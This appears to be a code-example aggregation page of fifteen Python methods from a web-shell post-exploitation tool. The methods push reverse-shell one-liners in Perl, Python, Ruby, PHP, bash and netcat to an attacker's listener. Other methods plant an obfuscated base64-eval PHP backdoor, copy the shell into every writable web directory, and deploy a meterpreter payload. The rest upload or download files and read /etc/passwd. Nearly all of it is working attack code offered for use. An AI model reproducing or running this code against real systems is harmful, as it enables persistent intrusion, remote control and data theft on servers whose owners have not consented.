Ejemplo n.º 1
0
 def perl(self, ip, port):
     cmd = "for x in `whereis perl`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     perl = make_request.get_page_source(cmd)
     if perl:
         cprint('\n[i] Found perl:', 'green')
         c = 1
         for path in perl:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in perl:
             cmd = 'nohup {0} -e '.format(path)
             cmd += '\'use Socket;'
             cmd += '$i="{0}";'.format(ip)
             cmd += '$p="{0}";'.format(port)
             cmd += 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));'
             cmd += 'if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");'
             cmd += 'open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\' &'
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find perl on the remote system', 'red')
Ejemplo n.º 2
0
 def python(self, ip, port):
     cmd = "for x in `whereis python`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     python = make_request.get_page_source(cmd)
     if python:
         cprint('\n[i] Found python:', 'green')
         c = 1
         for path in python:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in python:
             cmd = 'nohup {0} -c '.format(path)
             cmd += '\'import socket,subprocess,os;'
             cmd += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
             cmd += 's.connect(("{0}",{1}));'.format(ip, port)
             cmd += 'os.dup2(s.fileno(),0);'
             cmd += 'os.dup2(s.fileno(),1);'
             cmd += 'os.dup2(s.fileno(),2);'
             cmd += 'p=subprocess.call(["/bin/sh","-i"]);\' &'
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find python on the remote system', 'red')
Ejemplo n.º 3
0
 def testall(self, ip, port):
     modules = [self.ruby, self.python, self.php_cli, self.xterm, self.perl, self.bash, self.msf, self.netcat]
     print 'This module will test all the Backdoors in a random order until you get a conection on netcat.'
     msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
     msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
     msg += colored('\n[?] Press <return> when ready!', 'yellow')
     raw_input(msg.format(ip, port))
     for i in xrange(1, len(modules) + 1):
         call = random.choice(modules)
         try:
             modules.remove(call)
             call(ip, port)
         except:
             pass
         print "-------------------------------------------------"
Ejemplo n.º 4
0
    def get_page_source(self, cmd):
        self.cmd = cmd
        # Proxy support
        proxy_support = ProxyHandler({"http": self.proxy} if self.proxy else {})
        opener = build_opener(proxy_support)

        # User angent
        if self.random_agent:
            opener.addheaders = [("User-agent", USER_AGENTS[randint(0, len(USER_AGENTS) - 1)])]
        elif self.user_agent:
            opener.addheaders = [("User-agent", self.user_agent)]
        else:
            pass
        install_opener(opener)

        errmsg = colored("\n[!] Check your network connection and/or the proxy (if you're using one)", "red")
        fourzerofourmsg = colored("\n[!] Please make sure the page ('{0}') requested exists!".format(self.url), "red")

        # Check if the method is POST
        if self.method == "post" or self.parameter:
            self.method = "post"
            parameters = urlencode({self.parameter: self.cmd})
            try:
                sc = map(str.rstrip, opener.open(self.url, parameters).readlines())
                if not self.turbo:
                    parameters = urlencode({self.parameter: ""})
                    garpage = map(str.rstrip, opener.open(self.url, parameters).readlines())
                    garpage = list(set(sc).intersection(garpage))
                    sc = [i for i in sc if not i in garpage]
                return sc
            except InvalidURL:
                exit(errmsg)
            except:
                exit(fourzerofourmsg)

        # If the used method set GET
        else:
            try:
                sc = map(str.rstrip, opener.open("{0}{1}".format(self.url, quote(self.cmd))).readlines())
                if not self.turbo:
                    garpage = map(str.rstrip, opener.open("{0}{1}".format(self.url, quote(""))).readlines())
                    garpage = list(set(sc).intersection(garpage))
                    sc = [i for i in sc if not i in garpage]
                return sc
            except InvalidURL:
                exit(errmsg)
            except:
                exit(fourzerofourmsg)
Ejemplo n.º 5
0
    def php(self, ip, ourIP):
        wwwroot = linux.get_doc_root()
        cmd = 'find {0} -depth -perm -0002 -type d | sort -R '.format(wwwroot)
        folder = make_request.get_page_source(cmd)
        if folder:
            folder = folder[0]
            cprint('\n[+] Found a writable directory: \'{1}\''.format(folder), 'green')
            filename = '.' + ''.join(choice(string.ascii_letters + string.digits) for x in range(8)) + '.php'
            cprint('[+] Filename: \'{1}\''.format(filename), 'green')
            location = '{0}/{1}'.format(folder, filename)

            cmd = 'find {0} -type f -print'.format(wwwroot)
            files = make_request.get_page_source(cmd)
            cprint('[i] Select a file to \'clone\' (or \'0\' to skip):', 'green')
            cprint(' 0.) Don\'t close - create new', 'green')
            path = []
            c = 0
            for file in files:
                path.append(file)
                c += 1
                cprint('{0:2d}.) {1}'.format(c, file), 'green')
            while True:
                try:
                    clone = int(raw_input(colored('[>] Which file to use? [0-{0}: '.format(c))))
                    if 0 <= clone <= c:
                        break
                except ValueError:
                    pass

            if clone != 0:
                cmd = 'cp -f {0} {1}'.format(path[int(clone) - 1], location)
                make_request.get_page_source(cmd)
            cprint('[+] Creating our \'evil\' file: \'{0}\''.format(location), 'green')
            parameter = ''.join(choice(string.ascii_lowercase) for x in range(6))
            casePayload = choice(map(''.join, product(*((c.upper(), c.lower()) for c in 'eval'))))
            caseShell = choice(map(''.join, product(*((c.upper(), c.lower()) for c in 'php eval(base64_decode'))))
            payload = "{0}($_GET['{1}'].';');".format(casePayload, parameter)
            payloadEncoded = b64encode(payload).format(payload)
            evilFile = "<?{0}(\"{1}\")); ?>".format(caseShell, payloadEncoded)
            cmd = 'echo \'{0}\' >> \"{1}\"'.format(evilFile, location)
            make_request.get_page_source(cmd)
            cprint('[+] Done!', 'blue')
            uri = folder[len(wwwroot):]

            #>>> '/'.join('https://localhost/html/shell.php'.split('/', 3)[:3])
            #'https://localhost'
            url = '/'.join(getargs.url.split('/', 3)[:3])
            example = """Example:
            curl "{url}{uri}/{filename}?{parameter}=phpinfo()"
            curl "{url}{uri}/{filename}?{parameter}=require(\'/etc/passwd\')"
            curl "{url}{uri}/{filename}?{parameter}=system(\'/sbin/ifconfig\')"
            msfcli exploit/unix/webapp/php_eval RHOST={url} RPORT=80 PHPURI={uri}/{filename}?{parameter}=\!CODE\! PAYLOAD=php/meterpreter/reverse_tcp LHOST={ourIP} LPORT=4444 E""".format(
                    url=url,
                    uri=uri,
                    filename=filename,
                    parameter=parameter,
                    ourIP=ourIP,)
            cprint(example, 'green')
        else:
            cprint('\n[!] Unable to find a writable directory', 'red')
Ejemplo n.º 6
0
 def bash(self, ip, port):
     cmd = "for x in `whereis bash`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     bash = make_request.get_page_source(cmd)
     if bash:
         cprint('\n[i] Found bash:')
         c = 1
         for path in bash:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in bash:
             cmd = 'nohup {0} -c \'{0} -i >& /dev/tcp/{1}/{2} 0>&1\' &'.format(path, ip, port)
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
Ejemplo n.º 7
0
 def wait_connection(self):
     try:
         print colored('\n[i] Waiting on port: ', 'green') + colored(self.port, 'yellow')
         server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
         server.bind(('0.0.0.0', self.port))
         server.listen(1)
         try:
             self.socket, self.address = server.accept()
             self.socket.setblocking(0)
             targetIP, targetPort = self.address
             cprint('[+] Received connection from: {0}'.format(targetIP), 'magenta')
             self.connected()
         except KeyboardInterrupt:
             cprint('\n[!] Lost connection. Exiting...', 'red')
     except socket.error:
         cprint('\n[!] Wasn\'t able to open a port. Make sure to run WebHanlder with a user which can (e.g. superuser)', 'red')
         exit(3)
Ejemplo n.º 8
0
 def msf(self, ip, port):
     if len(Popen("for x in `whereis msfvenom`; do file $x | grep symbolic; done", shell=True, stdout=PIPE).stdout.read().strip()) == 0:
         cprint('\n[!] Wasn\'t able to detect the metasploit framework', 'red')
     else:
         cprint('\n[i] Found the metasploit framework:', 'green')
         folder = linux.get_writble_dir()
         if folder:
             filename = ''.join(choice(string.ascii_letters + string.digits) for x in range(8))
             cprint('[+] Filename: \'{0}\''.format(filename), 'green')
             path = '{0}/{1}'.format(folder, filename)
             msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
             msg += ' (hint: msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} E)'
             msg += colored('\n[?] Press <return> when ready!', 'yellow')
             raw_input(msg.format(ip, port))
             cprint('[i] Generating linux/x86/meterpreter/reverse_tcp', 'green')
             shell = Popen('msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} -f elf | base64'.format(ip, port), shell=True, stdout=PIPE).stdout.read().strip()
             cmd = 'echo "{0}" | base64 -i -d > {1} && chmod +x {1} && nohup {1} &'.format(shell, path)
             cprint('{0}[+] Sending payload & executing', 'green')
             make_request.get_page_source(cmd)
             cprint('[+] Done!', 'blue')
Ejemplo n.º 9
0
 def ruby(self, ip, port):
     cmd = "for x in `whereis ruby`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     ruby = make_request.get_page_source(cmd)
     if ruby:
         cprint('\n[i] Found ruby:', 'green')
         c = 1
         for path in ruby:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in ruby:
             cmd = 'nohup {0} -rsocket -e'.format(path)
             cmd += '\'f=TCPSocket.open("{0}",{1}).to_i;'.format(ip, port)
             cmd += 'exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\' &'
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find ruby on the remote system', 'red')
Ejemplo n.º 10
0
 def php_cli(self, ip, port):
     cmd = "for x in `whereis php`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     php = make_request.get_page_source(cmd)
     if php:
         cprint('\n[i] Found php-cli:', 'green')
         c = 1
         for path in php:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in php:
             cmd = 'nohup {0} -r '.format(path)
             cmd += '\'$sock=fsockopen("{0}",{1});'.format(ip, port)
             cmd += 'exec("/bin/sh -i <&3 >&3 2>&3");\' &'
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find php-cli on the remote system', 'red')
Ejemplo n.º 11
0
 def spread(self):
     provided_shell_name = raw_input(colored('\n[?] Current shell name: ', 'green'))
     shell_name = getargs.url.split('/')[-1] if getargs.method == 'post' else provided_shell_name
     cmd = 'find {0} -depth -perm -0002 -type d | xargs -n 1 cp -v {1}'.format(linux.get_doc_root(), shell_name)
     done = make_request.get_page_source(cmd)
     if done:
         success = '\n[+] {shell_name}{end} already written to {hot}{writable_length} paths'.format(
                 shell_name=shell_name,
                 writable_length=len(done))
         success += '\n[+] To check these paths type @enum writable'
         cprint(success, 'blue')
     else:
         cprint('\n[!] Something went wrong while spreading shell', 'red')
Ejemplo n.º 12
0
 def netcat(self, ip, port):
     '''
     nc.OpenBSD deosn't have -e switch. Alternative solution:
         rm -f /tmp/f && mkfifo /tmp/f && cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT>/tmp/f
     '''
     cmd = "for x in `whereis nc netcat`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     netcat = make_request.get_page_source(cmd)
     if netcat:
         cprint('\n[i] Found netcat:', 'green')
         c = 1
         for path in netcat:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in netcat:
             cmd = 'nohup {0} {1} {2} -e /bin/bash &'.format(path, ip, port)
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find netcat on the remote system', 'red')
Ejemplo n.º 13
0
            cmd = 'find {0} | while read f;do echo $f;done'.format(rfile_path)
            files = make_request.get_page_source(cmd)
            for file in files:
                cmd = 'if [ -e {0} ]; then if [ -f {0} ]; then echo file; else echo dir; fi; fi'.format(file)
                file_type = make_request.get_page_source(cmd)[0]
                if file_type == 'dir':
                    os.makedirs(os.path.join(lfile_path, file))
                elif file_type == 'file':
                    cmd = 'cat {0}'.format(file)
                    try:
                        with open(os.path.join(lfile_path, file), 'w') as dest_file:
                            dest_file.write('\n'.join(make_request.get_page_source(cmd)) + '\n')
                    except IOError, e:
                        cprint('\n[!] Error: {0}'.format(e), 'red')
                else:
                    print colored('[!] Coudln\'t download the following file:', 'red'), file
            print colored('\n[+] Files downloaded successfully to:', 'green'), lfile_path
        else:
            cprint('\n[!]The file/directory doesn\'t exist or I don\'t have permission', 'red')

    # A method for uploading files to the box
    def upload_file(self, lfile_path, rfile_path):
        with open(lfile_path) as local_file:
            data_to_upload = local_file.read().encode('base64').strip()
        #for line in data_to_upload:
        cmd = 'echo {0} | base64 -d > {1}'.format(data_to_upload, rfile_path)
        make_request.get_page_source(cmd)
        print '\n[+] Successfully uploaded {0} to {1}'.format(lfile_path, rfile_path)

file_handler = FileHandler()
Ejemplo n.º 14
0
    def get_information(self):
        now = datetime.datetime.now()

        # Call get_page_source() method then assign it to self.source
        source = make_request.get_page_source(self.cmd)

        def get(seq, index, default='Unknown'):
            try:
                return seq[index]
            except:
                return default

        self.current_user = get(source, 0)
        self.current_id = get(source, 1)
        self.kernel_info = get(source, 2)
        self.cwd = get(source, 3)
        self.perm_cwd = get(source, 4)
        self.uptime = get(source, 5)
        self.host_ip = get(source, 6)
        self.session = now.strftime("%Y-%m-%d")
        self.url = '/'.join(getargs.url.split('/', 3)[:3])
        try:
            # Get the attacker's ip address (Thanks @mandreko)
            self.local_ip = (urlopen('http://ifconfig.me/ip').read()).strip()
        except URLError:
            self.local_ip = 'Unknown'

        self.info = '\t' + '-' * int(len(self.kernel_info) + 16) + '\n'
        self.info += colored("\tUser         : "******"\tID           : ", 'red') + colored(self.current_id, 'green') + '\n'
        self.info += colored("\tKernel       : ", 'red') + colored(self.kernel_info, 'green') + '\n'
        self.info += colored("\tCWD          : ", 'red') + colored(self.cwd, 'green') + colored('\t\t' + self.perm_cwd, 'grey', attrs=['bold']) + '\n'
        self.info += colored("\tUptime       : ", 'red') + colored(self.uptime, 'green') + '\n'
        self.info += colored("\tTarget's IPs : ", 'red') + colored(self.host_ip, 'green') + '\n'
        self.info += colored("\tOur IP       : ", 'red') + colored(self.local_ip, 'green') + '\n'
        self.info += '\t' + '-' * int(len(self.kernel_info) + 16)
        self.info += "\n\n"

        self.info += colored("\t[+] Available commands: " + ', '.join(self.available_commands), 'blue', attrs=['underline', 'bold']) + '\n'
        self.info += colored("\t[+] Inserting ! at the begining of the command will execute the command locally (on your box)", 'blue', attrs=['underline', 'bold'])
        self.info += "\n"
        print self.info
Ejemplo n.º 15
0
 def BackConnect(self):
     complete.tab()      # calling auto-complete method
     cmdcount = 1
     # Empty list to save attacker's pushed commands
     while True:
         try:
             try:
                 # Getting command to be executed from the user
                 command = raw_input(info.current_user +
                         colored('@', 'red') +
                         colored(info.host_ip.split(',')[0], 'green') + ':~' +
                         colored('({0})'.format(self.cwd), 'yellow') + ':$ ').strip()
             # If something went wrong screw the list
             except IndexError:
                 command = raw_input('WebHandler@server:$ ').strip()
             
             command_list = command.split()
             
             # Updating command history
             self.history.append(unquote(command))
             
             if command not in ('exit', 'quit', 'bye'):
                 if command == 'clear':
                     Popen('clear', shell=True).wait()
                 elif command[0] == '!':
                     self.execute(command)
                 # Execute a module
                 elif command[0] == '@':
                     try:
                         self.commands[command_list[0]](command_list)
                     except KeyError:
                         print '%s module does not exist!' % (command_list[0])
                 else:
                     try:
                         #Handle the current working directory 'cwd'
                         if command_list[0] == 'cd' and len(command_list) > 1:
                             cwd = self.cwd
                             if '../' in command_list[-1] or '..' in command_list[-1]:
                                 self.cwd = cwd.rstrip(cwd.split('/').pop()).rstrip('/')
                             else:
                                 if command_list[-1].startswith('/'):
                                     cmd = '[ -d {0} ] && echo is_valid'.format(command_list[-1])
                                     if make_request.get_page_source(cmd)[0] == 'is_valid':
                                         self.cwd = command_list[-1]
                                     else:
                                         print 'bash: cd: {0}: No such file or directory'.format(command_list[-1])
                                 else:
                                     cmd = '[ -d {0}/{1} ] && echo is_valid'.format(cwd, command_list[-1])
                                     if make_request.get_page_source(cmd)[0] == 'is_valid':
                                         self.cwd = '{0}/{1}'.format(cwd, command_list[-1])
                                     else:
                                         print 'bash: cd: {0}: No such file or directory'.format(command_list[-1])
     
                         elif command_list[0] == 'cd' and len(command) == 1:
                             self.cwd = info.cwd  # dirty patch to get the original cwd
     
                         else:
                             # Setting aliases for some commands to avoid
                             # Issues realted to empty directories
                             command = command.replace('ls', 'ls -lha') if command_list[0] == 'ls' else command
                             command = command.replace('rm', 'rm -v') if command_list[0] == 'rm' else command
                             command = command.replace('cp', 'cp -v') if command_list[0] == 'cp' else command
                             command = command.replace('ifconfig', '/sbin/ifconfig')
     
                             # Get the source code cotenets
                             cmd = 'cd {0};{1}'.format(self.cwd, command)
                             source = make_request.get_page_source(cmd)
                             if source:
                                 for line in source:
                                     print line
     
                             # If the executed command doesn't exist
                             else:
                                 errmsg = '{0}: command not found '.format(unquote(command))
                                 errmsg += 'or I don\'t have permission to execute it'
                                 if command_list[0] == 'echo':
                                     pass
                                 else:
                                     cprint(errmsg, 'red')
                     except IndexError:
                         pass
             # Exit WebHandler if user provides exit as a command
             else:
                 print '\n[+] Preformed "%d" commands on the server, %s\n[*] Connection closed' % (cmdcount, info.host_ip.split(',')[0])
                 break
             
         # If recieved a break (^c)... Do nothing!
         except KeyboardInterrupt:
             print ""
         cmdcount += 1